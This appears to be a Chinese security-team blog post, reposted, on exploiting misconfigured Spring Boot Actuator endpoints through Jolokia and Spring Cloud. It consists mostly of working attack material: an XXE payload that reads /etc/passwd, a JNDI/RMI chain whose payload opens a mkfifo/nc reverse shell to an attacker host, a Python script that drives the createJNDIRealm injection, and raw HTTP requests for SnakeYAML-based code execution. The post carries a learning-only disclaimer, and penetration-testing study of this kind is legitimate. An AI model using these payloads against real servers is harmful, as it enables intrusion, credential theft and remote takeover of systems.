Spring Boot Actuator 漏洞利用
2022-8-22 00:1:45 Author: 白帽子(查看原文) 阅读量:34 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用

官方文档对每个端点的功能进行了描述。

路径            描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。

Spring Boot 2.x版本端点移动到/actuator/路径。

本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。

访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求,可以伪造cookie进行登录。

访问/env端点获取环境属性。
数据库账户泄漏

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。

xxe漏洞实现

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件
logback.xml,地址为公网vpsweb服务地址。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>

fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。

3、远程访问logback.xml文件。

www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。

远程代码执行实现

可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标,使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时,最终会触发 InitialContext.lookup(URI) 操作,而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定了目标本地存在的 BeanFactory 类,以及Bean Class 的类名、属性、属性值(这里为 ELProcessor 、x、eval(…))。
4、目标在进行 lookup() 操作时,会动态加载并实例化 BeanFactory 类,接着调用 factory.getObjectInstance() 方法,通过反射的方式实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值。对应我们的代码,最终调用 setter 方法的时候,就是执行如下代码:

ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。

1、下载rce利用代码。
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口,和反弹shell的地址和端口。

使用maven对java代码进行编译打包。

进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,执行

mvn clean install

打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。

修改logback.xml文件内容。

 <configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过’Djava.rmi.server.hostname=x.x.x.x’指定自己的RMI监听的外网地址。

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

vps使用nc监听反弹shell指定的端口。

nc -lvp 9998

在漏洞url**问:

http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml

成功反弹shell。

createJNDIRealm方法

相关原理请查看
Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。

利用过程分为五步。

1、创建 JNDIRealm

2、写入 contextFactory 为 RegistryContextFactory

3、写入 connectionURL 为你的 RMI Service URL

4、停止 Realm

5、启动 Realm 以触发 JNDI 注入

可以使用burp一步步重放,也可以直接使用python脚本执行。

import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

使用nc监听反弹的端口

nc -lvp 9998

使用python发送请求

python exp.py http://x.x.x.x:8087

成功反弹shell。

spring Cloud env

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
https://github.com/artsploit/yaml-payload
更改执行的命令。

将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件挂载到公网http服务器。

修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

请求 /refresh 接口触发

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令执行成功。

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0×04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246304&idx=2&sn=819fa5fad96b5b0ab6e15ed92a1ff853&chksm=82ea5709b59dde1f9939b939038cbf52b06eaa7399202d6af0dbe1817bc329a8a0a38c42e6e0#rd
如有侵权请联系:admin#unsafe.sh